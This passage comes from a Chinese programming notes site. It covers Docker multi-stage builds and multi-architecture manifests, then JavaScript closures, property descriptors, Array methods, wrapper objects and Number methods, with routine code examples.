事先在一个 `Dockerfile` 将项目及其依赖库编译测试打包好后，再将其拷贝到运行环境中，这种方式需要我们编写两个 `Dockerfile` 和一些编译脚本才能将其两个阶段自动整合起来，这种方式虽然可以很好地规避第一种方式存在的风险，但明显部署过程较复杂。

**使用多阶段构建**

为解决以上问题，Docker v17.05 开始支持多阶段构建 (`multistage builds`)。

使用多阶段构建我们就可以很容易解决前面提到的问题，并且只需要编写一个 `Dockerfile`：

```dockerfile
FROM golang:alpine as builder

RUN apk --no-cache add git

WORKDIR /go/src/github.com/go/helloworld/

RUN go get -d -v github.com/go-sql-driver/mysql

COPY app.go .

RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .

FROM alpine:latest as prod

RUN apk --no-cache add ca-certificates

WORKDIR /root/

COPY --from=0 /go/src/github.com/go/helloworld/app .

CMD ["./app"]
```

我们还可以使用 `as` 来为某一阶段命名，例如

```docker
FROM golang:alpine as builder
```

例如当我们只想构建 `builder` 阶段的镜像时，增加 `--target=builder` 参数即可

```bash
docker build --target builder -t username/imagename:tag .
```

**构建时从其他镜像复制文件**

上面例子中我们使用 `COPY --from=0 /go/src/github.com/go/helloworld/app .` 从上一阶段的镜像中复制文件，我们也可以复制任意镜像中的文件。

```docker
COPY --from=nginx:latest /etc/nginx/nginx.conf /nginx.conf
```

多阶段构建**基本语法**：

```bash
FROM <基础镜像> AS <阶段名>
...
COPY --from=<阶段名或序号> <源路径> <目标路径>
```

`AS <阶段名>`：给阶段命名，便于后续 COPY 或单独构建

`--from`：从指定阶段或任意镜像复制文件

**核心概念**

多阶段构建就是在 **同一个 Dockerfile 中定义多个构建阶段**，每个阶段都是一个独立的镜像构建环境。最终镜像只保留运行所需的文件，而构建时产生的临时文件、源码、编译工具等不会进入最终镜像。

通俗理解：

就像“先在厨房里做好所有材料（builder 阶段），然后把最终成品搬到餐盘上（production 阶段）”，最终盘子里只放菜，不放调料、厨具或废料。

多阶段构建的好处：

* **减小镜像体积**：不把编译工具和源码带入最终镜像
* **提高安全性**：源码、临时文件和秘钥不会暴露在最终镜像中
* **方便管理**：一个 Dockerfile 完成构建和打包，不需要额外脚本
* **可选择性构建**：可通过 `--target` 构建指定阶段

```bash
# 第一阶段：builder
FROM golang:alpine AS builder
WORKDIR /app
COPY . .
RUN go build -o myapp .

# 第二阶段：生产运行
FROM alpine:latest AS prod
WORKDIR /app
COPY --from=builder /app/myapp .
CMD ["./myapp"]
```

**关键点**：

* `AS <阶段名>`：给阶段命名，便于后续引用
* `COPY --from=<阶段名或序号>`：从指定阶段复制文件
* 每个阶段都是独立的镜像环境，二次构建阶段不会自动继承前一阶段的环境，**只能拿文件**

**二次构建阶段细节**

**环境独立**：

* 第二阶段的基础镜像可以与第一阶段完全不同
* 第二阶段无法访问第一阶段安装的包或命令（除非复制）

**复制文件粒度灵活**：

* 可以复制单个文件、目录，甚至从任意镜像中复制文件
* 例：`COPY --from=nginx:latest /etc/nginx/nginx.conf /nginx.conf`

**优化缓存和效率**：

* 依赖不常改动的指令放前面，减少重复构建
* 源码、配置文件变动只影响最后几层

**总结与最佳实践**

* **保持最终镜像干净、轻量、只包含运行时依赖**
* **给阶段命名清晰**，比用数字序号更易维护
* **编译依赖、源码、测试文件只留在 builder 阶段**
* **生产阶段只复制必要文件**
* **适合编译型语言或前端打包**（Go、C/C++、Java、Node）

**通俗总结**：多阶段构建就是“先在一个干净的厨房里把所有东西做出来，然后只把菜搬到盘子上”，这样最终镜像既小又干净，构建过程也可以灵活控制。

### 多架构

在 Docker 中，镜像和宿主机架构必须一致，例如：

* x86\_64 Linux 宿主机只能运行 x86\_64 Linux 镜像
* ARM64 Linux 宿主机只能运行 ARM64 Linux 镜像

如果直接在树莓派（ARM）上拉取 x86\_64 镜像，容器会拉不到或无法运行。

传统做法是为不同架构构建不同镜像，例如：

* `username/test:x86_64`
* `username/test:arm64v8`

但这种方式不够方便，用户需要自己选择架构镜像。

Docker 支持 **Manifest 列表（manifest list）**，也称为 **多架构镜像列表**。

一个 manifest 列表包含同一镜像的不同架构版本

Docker 客户端根据宿主机架构自动选择合适的镜像

官方镜像（如 `golang:alpine`）就是这种方式

查看 manifest 列表：

```bash
docker manifest inspect golang:alpine
```

输出中每个 `manifest` 对应一个特定架构：

```json
"platform": {
    "architecture": "arm64",
    "os": "linux",
    "variant": "v8"
}
```

**创建多架构镜像的流程**

**(1) 构建不同架构的镜像并推送**

```bash
# x86_64 构建 & 推送
docker build -t username/x8664-test .
docker push username/x8664-test

# arm64v8 构建 & 推送
docker buildx build --platform linux/arm64 -t username/arm64v8-test .
docker push username/arm64v8-test
```

`buildx` 支持交叉架构构建，尤其适合在 x86\_64 主机上构建 ARM 镜像。

**(2) 创建 manifest 列表**

```bash
docker manifest create username/test \
    username/x8664-test \
    username/arm64v8-test
```

`username/test` 将成为多架构镜像名

可使用 `--amend` 修改已有列表

**(3) 标注 manifest 信息**

```bash
docker manifest annotate username/test username/x8664-test \
    --os linux --arch amd64

docker manifest annotate username/test username/arm64v8-test \
    --os linux --arch arm64 --variant v8
```

`--os`、`--arch`、`--variant` 用于指明每个镜像的架构信息

**(4) 查看 manifest 列表**

```bash
docker manifest inspect username/test
```

输出中会显示不同架构的 digest 信息。

**(5) 推送 manifest 列表**

```bash
docker manifest push username/test
```

用户直接拉取 `username/test`，Docker 会根据宿主机架构自动选择正确镜像。

**（6）测试**

在不同架构主机上执行：

```
docker run -it --rm username/test
```

* Docker 会自动选择 x86\_64 或 ARM64 镜像
* 用户无需手动选择架构镜像

**调试方法**

* `docker manifest inspect <镜像>` 查看支持架构
* `docker run --platform <架构>` 可手动指定

---

---
url: /friends/index.md
---
# 友情链接
::: flex center

## 欢迎交换友链{#make-friends}

:::

---

---
url: /js/index.md
---
# JavaScript 小册子
## JavaScript 简介

JavaScript（简称 JS）是一种广泛应用于 Web 前端开发的**脚本语言**，也是浏览器端最核心的编程语言。它最初由 Netscape 公司于 1995 年推出，目的是让网页具备动态交互能力。如今，JavaScript 已经不仅仅局限于浏览器端，还可以用于服务端（如 Node.js）、桌面应用、移动端开发等多个领域。

### 主要特点

* **解释型、动态类型**：无需编译，运行时解释执行，变量类型灵活。
* **基于原型的面向对象**：通过原型链实现继承和对象扩展。
* **事件驱动、异步编程**：支持事件监听、回调、Promise、async/await 等异步机制。
* **跨平台**：只要有 JS 引擎（如浏览器、Node.js），就能运行。

### 应用场景

* **网页交互**：实现动态效果、表单校验、数据交互等。
* **前端框架**：如 React、Vue、Angular 等，都是基于 JS 构建。
* **服务端开发**：Node.js 让 JS 能写后端 API、命令行工具等。
* **全栈开发**：前后端统一语言，提升开发效率。
* **小程序、桌面应用**：如 Electron、Taro 等。

### 生态与发展

JavaScript 拥有庞大的生态系统（NPM 包管理器、各类框架库），并且每年都会通过 ECMAScript 标准持续进化。现代 JS 已经支持模块化、类、解构赋值、箭头函数等高级特性。

> \[!important]
> **学习建议**：建议先掌握 JS 的基础语法、数据类型、函数、作用域、闭包、原型链、异步编程等核心知识，再逐步深入框架和工程化内容。

---

---
url: /js/10b2f96o/index.md
---
# 标准库
## 闭包

如果在函数外访问函数内的局部变量，正常情况下这无法读取，但是可以通过变通的方法。在函数的内部再定义一个函数。

```js
function f1() {
  var n = 999;
  function f2() {
    console.log(n);
  }
  return f2;
}

var result = f1();
result(); // 999
```

在JavaScript中只有函数内部的子函数才能读取内部变量，因此可以把闭包简单理解成一个**定义在一个函数内部的函数**。

闭包最大的特点就是：它能够**记住**诞生的环境，比如`f2`记住了它的诞生环境是`f1`，所以从`f2`可以得到`f1`的内部变量。

本质上是，**闭包就是将函数内部和函数外部连接起来的一座桥梁。**

其最大的两个用处是：一个是可以读取外层函数内部的变量，另一个是这些变量始终都保持在内存中，即闭包可以使得**它诞生的环境一直存在**。

下面的例子中，闭包使得内部变量记住了上一次调用的运行结果

```js
function createIncrementor(start) {
  return function () {
    return start++;
  };
}
var inc = createIncrementor(5);
inc() // 5
inc() // 6
inc() // 7
```

上面代码中，`start`是函数`createIncrementor`的内部变量。通过闭包，`start`的状态被保留了，每一次调用都是在上一次调用的基础上进行计算。从中可以看到，闭包`inc`使得函数`createIncrementor`的内部环境，**一直存在**。所以，闭包可以看作是函数内部作用域的一个接口。

为什么闭包能够返回外层函数的内部变量？原因是闭包（上例的`inc`）用到了外层变量（`start`），导致外层函数（`createIncrementor`）不能从内存释放。

只要闭包没有被垃圾回收机制清除，外层函数提供的运行环境也不会被清除，它的内部变量就始**终保存着当前值**，供闭包读取。

闭包还可以用于封装对象的**私有属性**和**私有方法**

```js
function Person(name) {
  var _age;
  function setAge(n) {
    _age = n;
  }
  function getAge() {
    return _age;
  }

  return {
    name: name,
    getAge: getAge,
    setAge: setAge
  };
}

var p1 = Person('张三');
p1.setAge(25);
p1.getAge() // 25
```

> \[!tip]
>
> 注意，外层函数每次运行，都会生成一个**新的闭包**，而这个闭包又会保留外层函数的内部变量，所以内存消耗很大。因此不能滥用闭包，否则会造成网页的性能问题。

## Object

`instanceof`运算符用来验证，一个对象是否为指定的构造函数的实例。

**静态方法**指的是`Object`对象自身的方法。

`Object.keys`方法的参数是一个对象，返回一个数组。该数组的成员都是该对象自身的（而不是继承的）所有属性名，**只返回可枚举的属性**

`Object.getOwnPropertyNames`方法也是接受一个对象作为参数，返回一个数组，包含了该对象自身的所有属性名，**还返回不可枚举的属性名。**

```js
Object.keys([])
// []
Object.getOwnPropertyNames([])
// ["length"]
```

其中数组的`length`属性是不可枚举的

可以利用这两个方法做一个计算对象属性个数的方法：

```js
var obj = {
  p1: 123,
  p2: 456
};

Object.keys(obj).length // 2
Object.getOwnPropertyNames(obj).length // 2
```

***

`Object.prototype.valueOf()`方法的作用是返回一个对象的“值”，默认情况下返回对象本身。

`Object.prototype.hasOwnProperty()`方法接受一个字符串作为参数，返回一个布尔值，表示该实例对象**自身**是否具有该属性，不包括继承的

**属性描述对象**用于描述对象的属性，控制它的行为，比如该属性是否可写，可遍历等

每个属性都有自己对应的属性描述对象，保存该属性的一些**元信息**。

```js
{
  value: 123,
  writable: false,
  enumerable: true,
  configurable: false,
  get: undefined,
  set: undefined
}
```

`value`是该属性的属性值，默认为`undefined`。

`writable`是一个布尔值，表示属性值（value）是否可改变（即是否可写），默认为`true`。

`enumerable`是一个布尔值，表示该属性是否可遍历，默认为`true`。如果设为`false`，会使得某些操作（比如`for...in`循环、`Object.keys()`）跳过该属性。

`configurable`是一个布尔值，表示属性的可配置性，默认为`true`。如果设为`false`，将阻止某些操作改写属性描述对象，比如无法删除该属性，也不得改变各种元属性（`value`属性除外）。也就是说，`configurable`属性控制了属性描述对象的可写性。

`get`是一个函数，表示该属性的取值函数（getter），默认为`undefined`。

`set`是一个函数，表示该属性的存值函数（setter），默认为`undefined`。

`Object.getOwnPropertyDescriptor()`方法可以获取属性描述对象。它的第一个参数是目标对象，第二个参数是一个字符串，对应目标对象的某个属性名。\*\*同样只能只能用于对象自身的属性，不能用于继承的属性。\*\*比如`toString`

**enumerable: false**可以控制`Object.keys`的行为，只返回可遍历的属性，`Object.getOwnPropertyNames`则不行

`Object.defineProperty()`方法允许通过属性描述对象，**定义**或**修改**一个属性，然后返回修改后的对象，它的用法如下。

```js
Object.defineProperty(object, propertyName, attributesObject)
```

* object：属性所在的对象
* propertyName：字符串，表示属性名
* attributesObject：属性描述对象

```js
obj.p

// 可以写成

var obj = Object.defineProperty({}, 'p', {
  value: 123,
  writable: false,
  enumerable: true,
  configurable: false
});
```

如果一次性定义或修改多个属性，可以使用`Object.defineProperties()`方法。

```js
var obj = Object.defineProperties({}, {
  p1: { value: 123, enumerable: true },
  p2: { value: 'abc', enumerable: true },
  p3: { get: function () { return this.p1 + this.p2 },
    enumerable:true,
    configurable:true
  }
});

obj.p1 // 123
obj.p2 // "abc"
obj.p3 // "123abc"
```

`Object.prototype.propertyIsEnumerable()`用来判断某个属性是否可遍历，**对于继承的属性一律返回false**

### 元属性

`value`属性是目标属性的值。

`writable`属性是一个布尔值，决定了目标属性的\*\*值（value）\*\*是否可以被改变。

**注意：**如果原型对象的某个属性的`writable`为`false`，那么**子对象**将无法自定义这个属性。

> \[!tip]
>
> 有一个规避方法，就是通**过覆盖属性描述对象**，绕过这个限制。原因是这种情况下，原型链会被完全忽视。

```js
var proto = Object.defineProperty({}, 'foo', {
  value: 'a',
  writable: false
});

var obj = Object.create(proto);
Object.defineProperty(obj, 'foo', {
  value: 'b'
});

obj.foo // "b"
```

`enumerable`表示目标属性是否可遍历。

> 在早期JavaScript中，`for...in`循环是基于`in`运行符的，而`in`运算符不管某个属性是自身的还是继承的都会返回`true`
>
> ```js
> var obj = {};
> 'toString' in obj // true
> ```
>
> `toString`不是`obj`对象自身的属性，但是in返会了true，导致了`toString`属性也会被for in 循环遍历
>
> 再之后，引入了一个 **可遍历性** 这个概念，只有可遍历的属性才能被`for in` 循环遍历，
>
> 并且规定了像`toString`这一类实例对象继承的原生属性，都是不可遍历的，这样就保证了`for...in`循环的可用性。
>
> 所以：如果一个属性的`enumerable`为`false`，以下操作不会读取到该属性
>
> * `for..in`循环
> * `Object.keys`方法
> * `JSON.stringify`方法

`configurable`属性决定了是否可以修改属性描述对象，还决定了目标属性是否可以被删除（delete）

注意，`writable`属性只有在`false`改为`true`时会报错，`true`改为`false`是允许的。

`value`属性的情况比较特殊。只要`writable`和`configurable`有一个为`true`，就允许改动`value`。

### 存取器

```js
// 写法一
var obj = Object.defineProperty({}, 'p', {
  get: function () {
    return 'getter';
  },
  set: function (value) {
    console.log('setter: ' + value);
  }
});
// 写法二
var obj = {
  get p() {
    return 'getter';
  },
  set p(value) {
    console.log('setter: ' + value);
  }
};
```

第一种写法，属性`p`的`configurable`和`enumerable`都为`false`，从而导致属性`p`是不可遍历的；

第二种写法，属性`p`的`configurable`和`enumerable`都为`true`，因此属性`p`是可遍历的。

存取器往往用于，**属性的值依赖对象内部数据**的场合。

```js
var obj ={
  $n : 5,
  get next() { return this.$n++ },
  set next(n) {
    if (n >= this.$n) this.$n = n;
    else throw new Error('新的值必须大于当前值');
  }
};

obj.next // 5

obj.next = 10;
obj.next // 10

obj.next = 5;
// Uncaught Error: 新的值必须大于当前值
```

### 对象的拷贝

将一个对象的所有属性拷贝到另一个对象

```js
var extend = function (to, from) {
  for (var property in from) {
    to[property] = from[property];
  }

  return to;
}

extend({}, {
  a: 1
})
// {a: 1}
```

上述方法的缺点是遇到**存取器只会拷贝值**

```js
extend({}, {
  get a() { return 1 }
})
// {a: 1}
```

解决办法是通过`Object.defineProperty`方法来拷贝属性

```js
var extend = function (to, from) {
  for (var property in from) {
    if (!from.hasOwnProperty(property)) continue;
    Object.defineProperty(
      to,
      property,
      Object.getOwnPropertyDescriptor(from, property)
    );
  }

  return to;
}

extend({}, { get a(){ return 1 } })
// { get a(){ return 1 } })
```

`hasOwnProperty`那一行用来过滤掉继承的属性，否则可能会报错，因为`Object.getOwnPropertyDescriptor`读不到继承属性的属性描述对象。

### 控制对象状态

`Object.preventExtensions`方法可以使得一个对象无法**再添加**新的属性。

`Object.isExtensible`方法用于检查一个对象是否使用了`Object.preventExtensions`方法。

`Object.seal`方法使得一个对象既无法添加新属性，也无法删除旧属性。

> `Object.seal`实质是把属性描述对象的`configurable`属性设为`false`，因此属性描述对象不再能改变了。`Object.seal`只是禁止新增或删除属性，并不影响修改某个属性的值。

`Object.isSealed`方法用于检查一个对象是否使用了`Object.seal`方法。

`Object.freeze`方法可以使得一个对象无法添加新属性、无法删除旧属性、也无法改变属性的值，使得这个对象实际上变成了常量。

`Object.isFrozen`方法用于检查一个对象是否使用了`Object.freeze`方法。

> `Object.isFrozen`的一个用途是，确认某个对象没有被冻结后，再对它的属性赋值。

> \[!tip]
>
> 上述方法中，如果操作了被限制的属性，在严格模式下，大部分会报错，否则只是静默失败

### 局限性

上面的三个方法锁定对象的可写性有一个漏洞：可以通过**改变原型对象**，来为对象增加属性。

```js
var obj = new Object();
Object.preventExtensions(obj); // 限制对象

var proto = Object.getPrototypeOf(obj); // 在原型对象操作
proto.t = 'hello';
obj.t // 依然可以读取到
// hello
```

解决方案是，把`obj`的原型也冻结住

```js
var obj = new Object();
Object.preventExtensions(obj);

var proto = Object.getPrototypeOf(obj);
Object.preventExtensions(proto);

proto.t = 'hello';
obj.t // undefined
```

还有一个局限性是，如果属性值是对象，上述的方法只能冻结属性**指向的对象**，而不能冻结对象的本身的内容。

```js
var obj = {
  foo: 1,
  bar: ['a', 'b']
};
Object.freeze(obj);

obj.bar.push('c');
obj.bar // ["a", "b", "c"]
```

上述代码中，将`obj`对象冻结后，**其指向将无法改变，即无法指向其他值**，但是其中的数组是可变的。类似于说，**只能冻结一个对象的顶层属性**，嵌套属性则不行

## Array

`new Array`用于生成新的数组，可以传入数字参数，表示生成指定个数成员的数组，每个位置都是空的。

`Array.isArray`方法返回一个布尔值，表示参数是否为数组。它可以弥补`typeof`运算符的不足，`typeof`运算符只能显示数组的类型是`Object`

`valueOf`方法是一个所有对象都拥有的方法，表示对该对象求值。不同对象的`valueOf`方法不尽一致，数组的`valueOf`方法返回数组本身。

`toString`方法返回数组的字符串形式。

`push`方法用于在数组的末端添加一个或多个元素，并返回添加新元素后的数组长度。注意，该方法会改变原数组。

`pop`方法用于删除数组的最后一个元素，并返回该元素。注意，该方法会改变原数组，对空数组使用`pop`方法，不会报错，而是返回`undefined`。

> \[!tip]
>
> `push`和`pop`结合使用，就构成了“后进先出”的栈结构（stack）。

`shift()`方法用于删除数组的第一个元素，并返回该元素。注意，该方法会改变原数组。

> ```js
> var list = [1, 2, 3, 4];
> var item;
>
> while (item = list.shift()) {
>   console.log(item);
> }
>
> list // []
> ```
>
> 遍历输出并清空一个数组，局限性：数组元素不能是`0`或任何布尔值等于`false`的元素

`unshift()`方法用于在数组的第一个位置添加元素，并返回添加新元素后的数组长度。注意，该方法会改变原数组，可以接受多个参数

`join()`方法以指定参数作为分隔符，将所有数组成员连接为一个字符串返回。如果不提供参数，默认用逗号分隔。

```js
var a = [1, 2, 3, 4];

a.join(' ') // '1 2 3 4'
a.join(' | ') // "1 | 2 | 3 | 4"
a.join() // "1,2,3,4"
```

> 通过`call`方法，这个方法也可以用于字符串或类似数组的对象。
>
> ```js
> Array.prototype.join.call('hello', '-')
> // "h-e-l-l-o"
>
> var obj = { 0: 'a', 1: 'b', length: 2 };
> Array.prototype.join.call(obj, '-')
> // 'a-b'
> ```

`concat`方法用于多个数组的合并。它将新数组的成员，添加到原数组成员的后部，然后返回一个新数组，原数组不变，其参数可以是数组，数字，字符串....

> 如果数组成员包括对象，`concat`方法返回当前数组的一个浅拷贝。所谓“浅拷贝”，指的是新数组拷贝的是对象的引用。
>
> ```
> var obj = { a: 1 };
> var oldArray = [obj];
>
> var newArray = oldArray.concat();
>
> obj.a = 2;
> newArray[0].a // 2
> ```
>
> 上面代码中，原数组包含一个对象，`concat`方法生成的新数组包含这个对象的引用。所以，改变原对象以后，新数组跟着改变。

`reverse`方法用于颠倒排列数组元素，返回改变后的数组。注意，该方法将改变原数组。

`slice()`方法用于提取目标数组的一部分，返回一个新数组，原数组不变。

```js
arr.slice(start, end);
```

它的第一个参数为起始位置（从0开始，会包括在返回的新数组之中），第二个参数为终止位置（但该位置的元素本身不包括在内）。如果省略第二个参数，则一直返回到原数组的最后一个成员。

如果`slice()`方法的参数是负数，则表示倒数计算的位置。

> \[!tip]
>
> `slice()`方法的一个重要应用，是将类似数组的对象转为真正的数组。
>
> ```js
> Array.prototype.slice.call({ 0: 'a', 1: 'b', length: 2 })
> // ['a', 'b']
>
> Array.prototype.slice.call(document.querySelectorAll("div"));
> Array.prototype.slice.call(arguments);
> ```
>
> 上面代码的参数都不是数组，但是通过`call`方法，在它们上面调用`slice()`方法，就可以把它们转为真正的数组。

`splice()`方法用于删除原数组的一部分成员，并可以在删除的位置添加新的数组成员，返回值是被删除的元素。注意，该方法会改变原数组。

```js
arr.splice(start, count, addElement1, addElement2, ...);
```

`splice`的第一个参数是删除的起始位置（从0开始），第二个参数是被删除的元素个数。如果后面还有更多的参数，则表示这些就是要被插入数组的新元素。

还可以单独插入元素而不删除元素，把`splice`方法的第二个参数设置为0。如果只提供一个参数，等同于将原数组在指定位置拆分成两个数组

`sort`方法对数组成员进行排序，默认是按照**字典顺序**排序。排序后，原数组将被改变。

如果想让`sort`方法按照自定义的方式排序，可以传入一个函数作为参数。函数接受两个参数，表示进行比较的两个数组成员，如果函数的返回值大于0，表示第一个成员排在第二个成员后面，其他情况，都是第一个元素排在第二个元素前面。

> \[!tip]
>
> 注意，自定义的排序函数**应该返回数值**，**而不是布尔值或者其他**，否则不同的浏览器可能有不同的实现，不能保证结果都一致。

`map()`方法将数组的所有成员依次传入参数函数，然后把每一次的执行结果组成一个新数组返回。

`map()`方法接受一个函数作为参数。该函数调用时，`map()`方法向它（函数）传入三个参数：**当前成员、当前位置和数组本身。**

`map()`方法还可以接受第二个参数，用来绑定回调函数内部的`this`变量

```js {3}
var arr = ['a', 'b', 'c'];

[1, 2].map(function (e) {
  return this[e];
}, arr)
// ['b', 'c']
```

上述代码中函数内的`this`指向`arr`数组。

> \[!tip]
>
> `map()`方法的回调函数**不会在空位执行函数**（`['a','b', ,'d']`），但是不会跳过`undefined`和`null`

`forEach()`方法与`map()`方法很相似，也是对数组的所有成员依次执行参数函数。但是，`forEach()`方法**不返回值**，只用来操作数据（比如：为了在屏幕输出内容）。

`forEach()`的用法与`map()`方法一致，参数是一个函数，该函数同样接受三个参数：当前值、当前位置、整个数组。

`forEach()`方法也可以接受第二个参数，绑定参数函数的`this`变量。

注意，`forEach()`方法无法中断执行，总是会将所有成员遍历完，`forEach()`方法不会跳过`undefined`和`null`，但会跳过空位。

`filter()`方法用于过滤数组成员，满足条件的成员组成一个新数组返回。

它的参数是一个函数，所有数组成员依次执行该函数，**返回结果为**`true`**的成员组成一个新数组返回**。该方法不会改变原数组。

`filter()`方法的参数函数可以接受三个参数：当前成员，当前位置和整个数组。

`filter()`方法还可以接受第二个参数，用来绑定参数函数内部的`this`变量。

`some`方法是只要**一个成员执行函数的返回值是**`true`，则整个`some`方法的返回值就是`true`，否则返回`false`。

`every`方法是所有成员的返回值都是`true`，整个`every`方法才返回`true`，否则返回`false`。

`some`和`every`方法还可以接受第二个参数，用来绑定参数函数内部的`this`变量。

`reduce()`方法和`reduceRight()`方法依次处理数组的每个成员，最终累计为一个值。它们的差别是，`reduce()`是从左到右处理（从第一个成员到最后一个成员），`reduceRight()`则是从右到左（从最后一个成员到第一个成员），其他完全一样。

```js
[1, 2, 3, 4, 5].reduce(function (a, b) {
  console.log(a, b);
  return a + b;
})
// 1 2
// 3 3
// 6 4
// 10 5
//最后结果：15
```

上面代码中，`reduce()`方法用来求出数组所有成员的和。`reduce()`的参数是一个函数，数组每个成员都会依次执行这个函数。如果数组有 n 个成员，这个参数函数就会执行 n - 1 次。

* 第一次执行：`a`是数组的第一个成员`1`，`b`是数组的第二个成员`2`。
* 第二次执行：`a`为上一轮的返回值`3`，`b`为第三个成员`3`。
* 第三次执行：`a`为上一轮的返回值`6`，`b`为第四个成员`4`。
* 第四次执行：`a`为上一轮返回值`10`，`b`为第五个成员`5`。至此所有成员遍历完成，整个方法的返回值就是最后一轮的返回值`15`。

`reduce()`方法和`reduceRight()`方法的第一个参数都是一个函数。该函数接受以下四个参数。

1. 累积变量。第一次执行时，默认为数组的第一个成员；以后每次执行时，都是上一轮的返回值。
2. 当前变量。第一次执行时，默认为数组的第二个成员；以后每次执行时，都是下一个成员。
3. 当前位置。一个整数，表示第二个参数（当前变量）的位置，默认为`1`。
4. 原数组。

这四个参数之中，只有前两个是必须的，后两个则是可选的。

如果要对累积变量**指定初值**，可以把它放在`reduce()`方法和`reduceRight()`方法的第二个参数。

`indexOf`方法返回给定元素在数组中第一次出现的位置，如果没有出现则返回`-1`。

`indexOf`方法还可以接受第二个参数，表示搜索的开始位置。

`lastIndexOf`方法返回给定元素在数组中最后一次出现的位置，如果没有出现则返回`-1`。

> \[!tip]
>
> 注意，这两个方法不能用来搜索`NaN`的位置，即它们无法确定数组成员是否包含`NaN`。

## 包装对象

在JavaScript中，原始类型的值：数字，字符串，布尔值，在一定条件下会自动转换为对象，也就是**原始类型的包装对象**

所谓“包装对象”，指的是与数值、字符串、布尔值分别相对应的`Number`、`String`、`Boolean`三个原生对象。这三个原生对象可以把**原始类型的值变成（包装成）对象**。

```js
var v1 = new Number(123);
typeof v1 // "object"
v1 === 123 // false
```

包装对象的目的是：让整门语言有一个通用的数据模型，**其次是使得原始类型的值也有办法调用自己的方法。**

### 实例方法

三种包装对象各自提供了许多实例方法，其中两种它们共同具有、从`Object`对象继承的方法：`valueOf()`和`toString()`。

`valueOf()`方法返回包装对象实例对应的原始类型的值。

```js
new Number(123).valueOf()  // 123
```

`toString()`方法返回对应的字符串形式。

```js
new Number(123).toString() // "123"
```

### 自动转换

某些场合，原始类型的值会自动当作包装对象调用，即调用包装对象的属性和方法。这时，JavaScript 引擎会自动将原始类型的值转为包装对象实例，并在使用后**立刻销毁实例**。

```js
'abc'.length // 3
```

上述代码中，`abc`本身只是一个**普通的字符串**，不是一个对象，所以不能调用`length`属性

此时，JavaScript 引擎自动将其转为**包装对象**，在这个对象上调用`length`属性。

调用结束后，这个临时对象就会被销毁。这就叫原始类型与实例对象的自动转换。

```js
let str = 'abc';
str.length // 3
```

实际上执行的是：

```js
let strObj = new String(str)
// String {
//   0: "a", 1: "b", 2: "c", length: 3, [[PrimitiveValue]]: "abc"
// }
strObj.length // 3
```

上面代码中，字符串`abc`的包装对象提供了多个属性，`length`只是其中之一。

自动转换生成的包装对象是只读的，无法修改。所以，字符串无法添加新属性。

> \[!tip]
>
> 当调用结束后，包装对象实例会自动销毁。这意味着，下一次调用字符串的属性时，实际是调用一个新生成的对象，而不是上一次调用时生成的那个对象，所以取不到赋值在上一个对象的属性。如果要为字符串添加属性，只有在它的原型对象`String.prototype`上定义

### 自定义方法

除了原生的实例方法，包装对象还可以自定义方法和属性，**供原始类型的值直接调用**

比如，我们可以新增一个`double`方法，使得字符串和数字翻倍。

```js
String.prototype.double = function () {
  return this.valueOf() + this.valueOf();
};

'abc'.double()
// abcabc

Number.prototype.double = function () {
  return this.valueOf() + this.valueOf();
};

(123).double() // 246
```

上面代码在`String`和`Number`这两个对象的原型上面，分别自定义了一个方法，从而可以在所有实例对象上调用。注意，最后一行的`123`外面必须要加上圆括号，否则后面的点运算符（`.`）会被解释成小数点。

## Boolean 对象

`Boolean`对象是 JavaScript 的三个包装对象之一。作为构造函数，它主要用于生成布尔值的包装对象实例。

使用双重的否运算符（`!`）也可以将任意值转为对应的布尔值。

## Number 对象

`Number`对象是数值对应的包装对象，可以作为构造函数使用，也可以作为工具函数使用。

### 静态属性

> \[!tip]
>
> **静态属性**指的是直接定义在`Number`对象上的属性，而不是定义在实例上的属性

| 静态属性                   | 含义                                                         |
| -------------------------- | ------------------------------------------------------------ |
| `Number.POSITIVE_INFINITY` | 正的无限，指向`Infinity`                                     |
| `Number.NEGATIVE_INFINITY` | 负的无限，指向`-Infinity`                                    |
| `Number.NaN`               | 表示非数值，指向`NaN`                                        |
| `Number.MIN_VALUE`         | 表示最小的正数（即最接近0的正数，在64位浮点数体系中为`5e-324`），相应的，最接近0的负数为`-Number.MIN_VALUE` |
| `Number.MAX_SAFE_INTEGER`  | 表示能够精确表示的最大整数，即`9007199254740991`             |
| `Number.MIN_SAFE_INTEGER`  | 表示能够精确表示的最小整数，即`-9007199254740991`            |

### 实例方法

#### toString()

`Number.prototype.toString()`用来将一个数值转为字符串形式。

`toString`方法可以接受一个参数，表示输出的进制。如果省略这个参数，默认将数值先转为十进制，再输出字符串；否则，就根据参数指定的进制，将一个数字转化成某个进制的字符串。

```js
(10).toString(2) // "1010"
```

> \[!tip]
>
> 上面代码中，`10`一定要放在括号里，这样表明后面的点表示调用对象属性。如果不加括号，这个点会被 JavaScript 引擎解释成小数点，从而报错。
>
> 当然，只要让JavaScript 引擎不混淆小数点和对象的点运算符，各种写法都能用。
>
> 还可以在`10`后面加两个点，JavaScript 会把第一个点理解成小数点（即`10.0`），把第二个点理解成调用对象属性，从而得到正确结果。

```js
10..toString(2)
// "1010"

// 其他方法还包括
10 .toString(2) // "1010"
10.0.toString(2) // "1010"
```

通过方括号运算符也可以调用`toString`方法。

```js
10['toString'](2) // "1010"
```

`toString`方法只能将十进制的数，转为其他进制的字符串。如果要将其他进制的数，转回十进制，需要使用`parseInt`方法。

#### toFixed()

`Number.prototype.toFixed()`方法先将一个数转为指定位数的小数，然后返回这个小数对应的字符串。

#### toExponential

`Number.prototype.toExponential()`方法用于将一个数转为科学计数法形式，`toExponential`方法的参数是小数点后有效数字的位数，范围为0到100

#### toPrecision()

`Number.prototype.toPrecision()`方法用于将一个数转为指定位数的有效数字，该方法的参数为有效数字的位数，范围是1到100

#### toLocaleString

`Number.prototype.toLocaleString()`方法接受一个地区码作为参数，返回一个字符串，表示当前数字在该地区的当地书写形式。

### 自定义方法

与其他对象一样，`Number.prototype`对象上面可以自定义方法，被`Number`的实例继承。

```js
Number.prototype.add = function (x) {
  return this + x;
};

8['add'](2) // 10
```

```js
Number.prototype.iterate = function () {
  var result = [];
  for (var i = 0; i <= this; i++) {
    result.push(i);
  }
  return result;
};

(8).iterate()
// [0, 1, 2, 3, 4, 5, 6, 7, 8]
```

注意，数值的自定义方法，只能定义在它的原型对象`Number.prototype`上面，数值本身是无法自定义属性的。

```js
var n = 1;
n.x = 1;
n.x // undefined
```

